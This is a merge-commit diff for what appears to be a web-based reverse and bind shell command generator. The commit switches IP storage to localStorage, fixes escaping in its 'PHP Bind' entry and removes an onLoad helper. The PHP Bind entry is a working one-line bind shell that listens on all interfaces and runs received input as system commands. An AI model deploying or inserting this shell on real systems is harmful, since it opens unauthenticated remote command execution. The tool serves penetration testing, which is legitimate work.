Merge pull request #18 from MuirlandOracle/main

LocalStorage load and PHP Bind fix
This commit is contained in:
Ryan Montgomery 2021-03-19 17:14:17 -04:00 committed by GitHub
commit 28d90d3c14
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 7 additions and 11 deletions

View File

@ -478,6 +478,10 @@
const bindShellCommand = document.querySelector("#bind-shell-command");
const msfVenomCommand = document.querySelector("#msfvenom-command");
if(localStorage.getItem("ip") == null || localStorage.getItem("ip").length == 0){
localStorage.setItem("ip", ipInput.placeholder);
}
const FilterType = {
'All': 'all',
'Windows': 'windows',
@ -574,7 +578,7 @@
escapeHTML: (text) => String(text).replace(/</, '&lt;').replace(/>/, '&gt;'),
getIP: () => ipInput.value || ipInput.getAttribute('placeholder'),
getIP: () => localStorage.getItem("ip"),
getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')),
@ -591,10 +595,9 @@
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
encodeURI('{shell}')
];
parameters.forEach((param) => {
if (encoder) param = encoder(param)
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
})
return text
},

View File

@ -241,7 +241,7 @@ const bindShellCommands = withCommandType(
},
{
"name": "PHP Bind",
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);\\socket_write($cl,$m,strlen($m));}}'",
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'",
"meta": ["bind", "mac", "linux", "windows"]
}
]
@ -345,10 +345,3 @@ const rsgData = {
...msfvenomCommands
]
}
function onLoad() {
const spans = document.getElementsByTagName('span');
spans[5].innerHTML = document.getElementById("ip").value;
}
setTimeout(onLoad)